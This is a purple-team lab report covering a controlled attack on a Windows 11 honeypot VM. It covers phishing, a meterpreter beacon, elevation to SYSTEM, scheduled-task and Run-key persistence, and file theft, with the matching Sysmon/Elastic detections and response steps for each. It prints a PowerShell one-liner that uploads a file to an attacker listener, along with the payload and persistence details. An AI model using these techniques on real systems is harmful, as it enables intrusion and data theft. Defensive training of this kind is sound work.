Purple-Team Campaign Lab

Incident Report — Stage 2 in plain language

Date: 7 October 2026 | **Target:** HONEYPOT (Windows 11 24H2 VM) | **Type:** Controlled purple-team exercise

1. What happened, in one paragraph

We ran a fake cyber-attack on a test computer (a honeypot VM) to practice catching real attacks. We pretended to be a hacker: we sent a fake invitation PDF, the victim clicked a link and got infected, we escalated to the highest Windows privilege (SYSTEM), made the infection survive reboots, and stole a file back to our side. Then, as the defender, we look at the logs (Sysmon + Elastic) and see every single step. This report explains each step in plain language, and shows what the defender's tools would have caught at every stage.

2. The cast — who and what is involved

Role	What it is
The victim	HONEYPOT — a Windows 11 test VM (192.168.254.128). It runs Sysmon and an Elastic agent, so everything it does gets streamed to the SOC.
Hacker side (attack mode)	Kali Linux (msfconsole) plus a small Windows relay program. All attack commands run from here.
Defender side (later)	The Elastic SIEM at portal.cybersoc.my:9200 — where the victim's logs and alerts appear.
office_update.exe	The malicious program (a 'beacon'). Fake name — looks like an Office update. Secretly phones home to the hacker.
wu_service.exe	A copy of the beacon renamed to look like a Windows Update service, hidden in C:\ProgramData\WinUpdate.
C2 channel	The secret phone line between beacon and hacker. Lab address: 192.168.254.100 port 4443, bridged by the relay into Kali.

Step 1 — The phish (getting in the door)

We made a PDF that looks like a real work invitation: **Year-End Showcase Invitation**. Inside is an RSVP link. The link is not a website — it downloads our malware disguised as **office_update.exe**. The victim opens the PDF, clicks RSVP, runs the downloaded file. That is how the attacker gets in. Real attackers do exactly this: a friendly-looking document, one click, infection.

Defender sees: a browser connecting to an unusual IP (192.168.254.100:8080), an unknown .exe appearing in Downloads (Sysmon EID 11), and that exe being launched by explorer.exe (Sysmon EID 1).

Step 2 — The beacon (the secret phone line)

Once office_update.exe runs, it dials out to the hacker's server on port 4443. Key detail: the **victim makes the outgoing call**. That is why firewalls usually do not stop it — it looks like the computer is just browsing the internet, not like someone is breaking in. From that moment the hacker can type commands (shell, file operations) and the beacon obeys. That live connection is what we call a 'meterpreter session'.

Defender sees: an unknown program opening an outbound TCP connection to non-standard port 4443 (Sysmon EID 3), plus Elastic rules that specifically flag meterpreter traffic.

Step 3 — Escalation to SYSTEM (becoming the superuser)

The beacon first ran as the normal user **honey**. A normal user cannot change machine-wide settings, so the hacker needs SYSTEM (the highest local privilege). We first tried a clever exploit (EfsPotato) — it reported success but did not stick, which is a realistic detail: exploits often flake. The path that actually worked had two parts:

1. We made the user re-launch the beacon elevated. **honey** is a local admin, so a UAC popup appeared, the user clicked **Yes**, and the new process ran with high integrity — full admin powers unlocked.
2. From there we **migrated** the beacon inside a system process (svchost.exe, PID 1372) — a Windows service host that runs as SYSTEM. 'Migrate' means the beacon moves its body into another process. After that, getuid showed **NT AUTHORITY\SYSTEM**. Done.

Defender sees: a UAC elevation event (Security log 4688), and process-injection-style events (Sysmon EID 8/10) when the beacon moved into svchost.exe. 'Unknown code injected into svchost' is a red flag for any analyst.

Step 4 — Persistence (coming back after reboot)

A hacker who is 'inside' wants to stay inside. If the PC reboots, the office_update.exe in Downloads dies. So we planted **two** automatic restart triggers, both pointing at a hidden copy of the beacon (C:\ProgramData\WinUpdate\wu_service.exe):

Trigger	When it fires	Why we did it
Scheduled task **WinUpdateSvc**	Every time the PC boots, running as SYSTEM	Works even if no user ever logs in.
HKLM Run key (registry value **WinUpdateSvc**)	Every time any user logs on	Backup trigger — if the task is deleted, this one still fires.

And it was PROVEN, not just configured: the VM rebooted while the user was at lunch, and a brand-new hacker session (session 31) appeared in msfconsole at **14:36:38 with zero user action**. The scheduled task did its job. That single fact is the smoking gun in any incident report: *'beacon reconnected automatically after reboot'*.

Defender sees: a new file appearing in C:\ProgramData (Sysmon EID 11), a scheduled task created (Security 4698), and a registry value written to the HKLM Run key (Sysmon EID 13, Security 4657). All three are classic persistence detections.

Step 5 — Exfiltration (stealing the file)

The target file was **C:\Users\honey\OneDrive\Documents\secret.txt** (2,524 bytes — note the gotcha: Windows 11 redirects Documents into OneDrive, so the 'real' Documents folder was empty). From the beacon we ran a one-line PowerShell command that uploads the file over HTTP to a listener we ran on our (attacker) side:

```
(New-Object Net.WebClient).UploadFile('http://192.168.254.100:4444', '...secret.txt')
```

The file landed on the attacker machine intact — we read it back and it matched the original (a 5-anime list, 2,524 bytes).

Two details worth highlighting for the report: (1) the exfil went to port **4444**, a *different* port than the C2 port 4443 — real attackers separate their 'command channel' from their 'data channel'; (2) 'New-Object Net.WebClient' + UploadFile is one of the most reliably detected exfiltration one-liners in the industry — a good Elastic rule flags it instantly.

Defender sees: powershell.exe spawned by svchost.exe (odd parent-child, EID 1), an outbound HTTP connection to 192.168.254.100:4444 (EID 3), and the exfil one-liner itself in the command line.

The whole story in one table

#	Phase	Plain-English action	Hacker TTP (MITRE ATT&CK)	What defender's logs show
1	Phish	Fake invitation PDF; RSVP link downloads malware	T1566.001 Spearphishing	Link click; unknown exe downloaded (EID 3 + 11)
2	Execute	Victim double-clicks office_update.exe	T1204.002 User execution	Exe launched by explorer (EID 1)
3	C2	Beacon dials hacker server, port 4443	T1095 Non-standard port	Outbound TCP 4443 (EID 3); meterpreter alerts
4	Escalate	UAC 'Yes' + migrate into svchost = SYSTEM	T1548.002 UAC bypass, T1134 token	Elevation event; injection into svchost (EID 8/10)
5	Persist	Scheduled task + HKLM Run key; hidden copy in ProgramData	T1053.005, T1547.001	Task created (4698); Run key set (EID 13); file drop (EID 11)
6	Persist proof	VM reboots at lunch; session 31 re-opens by itself at 14:36:38	(same as above, now confirmed)	New C2 connection from a boot-time process
7	Exfil	PowerShell one-liner uploads secret.txt to port 4444	T1041 Exfil over C2 channel	WebClient UploadFile + outbound 4444 (EID 1 + 3)

Lessons we learned live (the fun part)

1. Exploits flake. EfsPotato 'succeeded' but the token kept reverting — real attackers retry or switch technique, which is exactly what we did.
2. UAC is the wall. A local admin at medium integrity cannot write HKLM; one 'Yes' click on UAC changed everything.
3. Persistence is the point. The reboot-during-lunch moment, where our session re-appeared on its own, is the most satisfying five seconds of the whole lab.
4. Windows 11 gotcha. Documents is redirected into OneDrive — affects both the attacker hunting files and the defender hunting evidence.
5. Session hygiene. Closing the old meterpreter session killed the underlying beacon and caused a confusing zombie session. Rule: confirm the *new* session works *before* exiting the old one.

What a defender should do (response, from the logs)

1. Kill the C2: block 192.168.254.100 at the network (ports 8080 / 4443 / 4444).
2. Remove persistence: delete scheduled task WinUpdateSvc, delete the HKLM Run value, delete C:\ProgramData\WinUpdate\.
3. Kill the process: terminate any wu_service.exe / office_update.exe.
4. Reset: change honey's password (credentials may be targeted); review other hosts for the same C2 IP.
5. Hunt: search the whole estate for network events to 192.168.254.100 and for the file names, to check if any other machine got phished.
6. Report: this is where this document goes — attacker TTPs, timeline, evidence, containment steps.

Appendix — lab environment facts

Item	Value
Victim	HONEYPOT, Windows 11 24H2 (build 26200), x64, WORKGROUP, 192.168.254.128 (VMware NAT, gateway .2)
Attacker	Kali in WSL2 (msfconsole handler 127.0.0.1:4445) + native Windows relay at 192.168.254.100 (HTTP 8080, relay 4443)
SIEM	Elastic 9.4.5 at portal.cybersoc.my:9200; Sysmon + Elastic agent on victim; alerts in .internal.alerts-security.*; raw logs in logs-* / .ds-logs-*
Payload	windows/x64/meterpreter_reverse_tcp, built with msfvenom -f exe
Priv-esc path used	UAC elevation (Start-Process -Verb RunAs) + process migration into svchost PID 1372
Persistence	Scheduled task WinUpdateSvc (onstart, SYSTEM) + HKLM Run value WinUpdateSvc; beacon staged at C:\ProgramData\WinUpdate\wu_service.exe
Exfil	PowerShell WebClient UploadFile to 192.168.254.100:4444; file recovered at C:\Users\style\lab\exfil\secret.txt (original 2,524 bytes verified intact)
Note	Defender real-time protection was disabled for the exercise; this was a controlled lab, no real-world targets